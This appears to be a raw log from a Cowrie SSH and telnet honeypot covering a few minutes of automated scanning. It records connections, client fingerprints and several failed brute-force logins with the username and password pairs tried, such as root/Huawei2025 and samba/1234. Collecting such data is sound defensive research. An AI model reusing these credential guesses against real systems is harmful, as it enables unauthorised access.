{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":43148,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6bb28b9815d","protocol":"ssh","message":"New connection: 27.50.25.190:43148 (159.203.135.109:22) [session: a6bb28b9815d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:31.256117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:31.261176Z","src_ip":"27.50.25.190","session":"a6bb28b9815d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:31.490314Z","src_ip":"27.50.25.190","session":"a6bb28b9815d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":38748,"dst_ip":"159.203.135.109","dst_port":22,"session":"444041144c3e","protocol":"ssh","message":"New connection: 182.18.161.165:38748 (159.203.135.109:22) [session: 444041144c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:32.214798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:32.219386Z","src_ip":"182.18.161.165","session":"444041144c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:32.426459Z","src_ip":"182.18.161.165","session":"444041144c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.1","message":"login attempt [ubuntu/ubuntu.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:32.438019Z","src_ip":"27.50.25.190","session":"a6bb28b9815d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei2025","message":"login attempt [root/Huawei2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:33.270425Z","src_ip":"182.18.161.165","session":"444041144c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:33.669170Z","src_ip":"27.50.25.190","session":"a6bb28b9815d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:34.475219Z","src_ip":"182.18.161.165","session":"444041144c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":35870,"dst_ip":"159.203.135.109","dst_port":22,"session":"efe24563fac1","protocol":"ssh","message":"New connection: 101.79.165.133:35870 (159.203.135.109:22) [session: efe24563fac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:37.452120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:37.457173Z","src_ip":"101.79.165.133","session":"efe24563fac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:37.674905Z","src_ip":"101.79.165.133","session":"efe24563fac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"1234","message":"login attempt [samba/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:38.577104Z","src_ip":"101.79.165.133","session":"efe24563fac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:39.798136Z","src_ip":"101.79.165.133","session":"efe24563fac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00753378868103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:45.795062Z","src_ip":"102.219.170.64","session":"40cbc6d91bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":42750,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb02c4e7488","protocol":"ssh","message":"New connection: 180.178.94.210:42750 (159.203.135.109:22) [session: 7eb02c4e7488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:07.654695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:07.660445Z","src_ip":"180.178.94.210","session":"7eb02c4e7488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:07.923892Z","src_ip":"180.178.94.210","session":"7eb02c4e7488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ljy123456","message":"login attempt [root/Ljy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:09.012750Z","src_ip":"180.178.94.210","session":"7eb02c4e7488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:10.275229Z","src_ip":"180.178.94.210","session":"7eb02c4e7488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":47852,"dst_ip":"159.203.135.109","dst_port":22,"session":"4264b97d5001","protocol":"ssh","message":"New connection: 106.243.250.115:47852 (159.203.135.109:22) [session: 4264b97d5001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:13.570194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:13.574795Z","src_ip":"106.243.250.115","session":"4264b97d5001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:13.777091Z","src_ip":"106.243.250.115","session":"4264b97d5001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"1234","message":"login attempt [teste/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:14.621535Z","src_ip":"106.243.250.115","session":"4264b97d5001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:15.827507Z","src_ip":"106.243.250.115","session":"4264b97d5001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36946,"dst_ip":"159.203.135.109","dst_port":22,"session":"46b360a71515","protocol":"ssh","message":"New connection: 103.149.170.125:36946 (159.203.135.109:22) [session: 46b360a71515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:29.417757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:29.426814Z","src_ip":"103.149.170.125","session":"46b360a71515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:29.679457Z","src_ip":"103.149.170.125","session":"46b360a71515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg1234","message":"login attempt [root/oleg1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:30.438046Z","src_ip":"103.149.170.125","session":"46b360a71515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:31.693850Z","src_ip":"103.149.170.125","session":"46b360a71515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d3d12f5ba6","protocol":"telnet","message":"New connection: 69.4.83.194:52386 (159.203.135.109:23) [session: d6d3d12f5ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:36.303015Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":14263,"dst_ip":"159.203.135.109","dst_port":22,"session":"28444983a56e","protocol":"ssh","message":"New connection: 190.6.32.107:14263 (159.203.135.109:22) [session: 28444983a56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:40.679570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:40.684086Z","src_ip":"190.6.32.107","session":"28444983a56e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:40.740380Z","src_ip":"190.6.32.107","session":"28444983a56e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"1234","message":"login attempt [samba/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:40.994622Z","src_ip":"190.6.32.107","session":"28444983a56e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:42.054565Z","src_ip":"190.6.32.107","session":"28444983a56e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":44424,"dst_ip":"159.203.135.109","dst_port":22,"session":"885464e7ad23","protocol":"ssh","message":"New connection: 43.133.65.220:44424 (159.203.135.109:22) [session: 885464e7ad23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:59.667619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:59.672544Z","src_ip":"43.133.65.220","session":"885464e7ad23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33198,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f8611977add","protocol":"telnet","message":"New connection: 69.4.83.194:33198 (159.203.135.109:23) [session: 8f8611977add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:59.792460Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:32:59.878051Z","src_ip":"43.133.65.220","session":"885464e7ad23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10293847","message":"login attempt [root/10293847] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:00.733086Z","src_ip":"43.133.65.220","session":"885464e7ad23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:01.943638Z","src_ip":"43.133.65.220","session":"885464e7ad23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36174,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f7b51d27ef","protocol":"telnet","message":"New connection: 69.4.83.194:36174 (159.203.135.109:23) [session: d2f7b51d27ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:10.859278Z"}
{"eventid":"cowrie.session.closed","duration":36.67356991767883,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:12.976369Z","src_ip":"69.4.83.194","session":"d6d3d12f5ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32560753822327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:33.117980Z","src_ip":"69.4.83.194","session":"8f8611977add","protocol":"telnet"}
